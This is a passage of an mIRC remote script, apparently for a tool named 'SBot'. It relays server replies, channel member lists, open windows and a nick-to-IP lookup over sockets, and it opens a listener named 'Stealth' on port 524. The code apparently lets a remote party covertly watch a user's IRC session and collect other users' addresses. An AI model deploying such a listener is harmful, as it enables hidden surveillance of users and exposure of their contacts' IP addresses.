n449=raw 401:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
n450=raw 403:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
n451=raw 404:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
n452=raw 405:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
n453=raw 421:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
n454=raw 431:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
n455=raw 432:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
n456=raw 433:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
n457=raw 441:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
n458=raw 442:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
n459=raw 443:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
n460=raw 465:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
n461=raw 467:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
n462=raw 471:*: if ( $sock(SBot-*) != $null ) { showinstat $2 can't join channel (it's full) }
n463=raw 472:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
n464=raw 473:*: if ( $sock(SBot-*) != $null ) { showinstat $2 can't join channel (it's invite only) }
n465=raw 474:*: if ( $sock(SBot-*) != $null ) { showinstat $2 can't join channel (you're banned!) }
n466=raw 475:*: if ( $sock(SBot-*) != $null ) { showinstat $2 can't join channel (requires the correct key) }
n467=raw 477:*: if ( $sock(SBot-*) != $null ) { showinstat $2 can't join channel (need to be using a registered nick) }
n468=raw 482:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
n469=raw 501:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
n470=raw 502:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
n471=
n472=;------------------------------------------------ OTHER ---------------------------------------------
n473=#NickIP off
n474=raw 302:*: {
n475= if ( $sock(SBot-*) != $null ) {
n476= if ( $gettok( $2 ,1,61) == %SBot.getnick ) { .sockwrite -n SBot-* NICKIP $gettok( $2 ,1,61) $gettok($2,2,64) 524 | unset %SBot.getnick | .disable #NickIP | halt }
n477= }
n478= halt
n479=}
n480=#NickIP end
n481=
n482=raw 329:*: if ( $sock(SBot-*) != $null ) { showinstat $2 created on $asctime( $3 ) }
n483=raw 341:*: if ( $sock(SBot-*) != $null ) { showinstat $2 has been invited to $3 }
n484=raw 381:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
n485=
n486=alias chanstat {
n487= unset %SBot.i %SBot.ops %SBot.voice %SBot.reg
n488= %SBot.temp = $nick( $1 ,0)
n489= :start
n490= inc %SBot.i
n491= if ( %SBot.i <= %SBot.temp ) {
n492= if ( $nick( $1 , %SBot.i ) isop $1 ) {
n493= if ( %SBot.ops == $null ) { %SBot.ops = $nick( $1 , %SBot.i ) }
n494= else { %SBot.ops = %SBot.ops $+ $chr(44) $+ $nick( $1 , %SBot.i ) }
n495= }
n496= elseif ( $nick( $1 , %SBot.i ) isvo $1 ) {
n497= if ( %SBot.voice == $null ) { %SBot.voice = $nick( $1 , %SBot.i ) }
n498= else { %SBot.voice = %SBot.voice $+ $chr(44) $+ $nick( $1 , %SBot.i ) }
n499= }
n500= else {
n501= if ( %SBot.reg == $null ) { %SBot.reg = $nick( $1 , %SBot.i ) }
n502= else { %SBot.reg = %SBot.reg $+ $chr(44) $+ $nick( $1 , %SBot.i ) }
n503= }
n504= goto start
n505= }
n506= %SBot.modes = $chan( $1 ).mode
n507= %SBot.topic = $chan( $1 ).topic
n508= if ( %SBot.ops == $null ) { %SBot.ops = $chr(149) }
n509= if ( %SBot.voice == $null ) { %SBot.voice = $chr(149) }
n510= if ( %SBot.reg == $null ) { %SBot.reg = $chr(149) }
n511= if ( %SBot.modes == $null ) { %SBot.modes = $chr(149) }
n512= if ( %SBot.topic == $null ) { %SBot.topic = $chr(149) }
n513= .sockwrite -n SBot-* CHAN START $1 %SBot.ops $+ $chr(140) $+ %SBot.voice $+ $chr(140) $+ %SBot.reg $+ $chr(140) $+ %SBot.modes $+ $chr(140) $+ $colour(Topic) $colour(Info2) %SBot.topic
n514= unset %SBot.ops %SBot.voice %SBot.reg %SBot.i %SBot.modes %SBot.topic
n515= halt
n516=}
n517=
n518=alias winstat {
n519= unset %SBot.wins.i %SBot.wins.temp
n520= :loop
n521= inc %SBot.wins.i
n522= if ( %SBot.wins.i <= $chan(0) ) { %SBot.wins.temp = %SBot.wins.temp $+ $chan( %SBot.wins.i ) $+ $chr(44) | goto loop }
n523= %SBot.wins.temp = %SBot.wins.temp $+ $chr(140)
n524= unset %SBot.wins.i
n525= :loop2
n526= inc %SBot.wins.i
n527= if ( %SBot.wins.i <= $query(0) ) { %SBot.wins.temp = %SBot.wins.temp $+ $query( %SBot.wins.i ) $+ $chr(44) | goto loop2 }
n528= %SBot.wins.temp = %SBot.wins.temp $+ $chr(140)
n529= unset %SBot.wins.i
n530= :loop3
n531= inc %SBot.wins.i
n532= if ( %SBot.wins.i <= $chat(0) ) { %SBot.wins.temp = %SBot.wins.temp $+ $chat( %SBot.wins.i ) $+ $chr(44) | goto loop3 }
n533= .sockwrite -n SBot-* WINSTATS %SBot.wins.temp
n534= unset %SBot.wins.*
n535=}
n536=
n537=alias showinstat {
n538= .sockwrite -n SBot-* SHOW Status $1-
n539= .sockwrite -n SBot-* SHOW Status -
n540=}
n541=
n542=alias bground {
n543= if ( [ $readini $mircdirmirc.ini background $1 ] != $null ) {
n544= if ($chr(58) !isin [ $readini $mircdirmirc.ini background $1 ] ) { return [ $mircdir $+ [ $readini $mircdirmirc.ini background $1 ] ] }
n545= else { return [ $readini $mircdirmirc.ini background $1 ] }
n546= }
n547= else { return none }
n548=}
n549=alias listen if ( $portfree(524) ) { .socklisten Stealth 524 }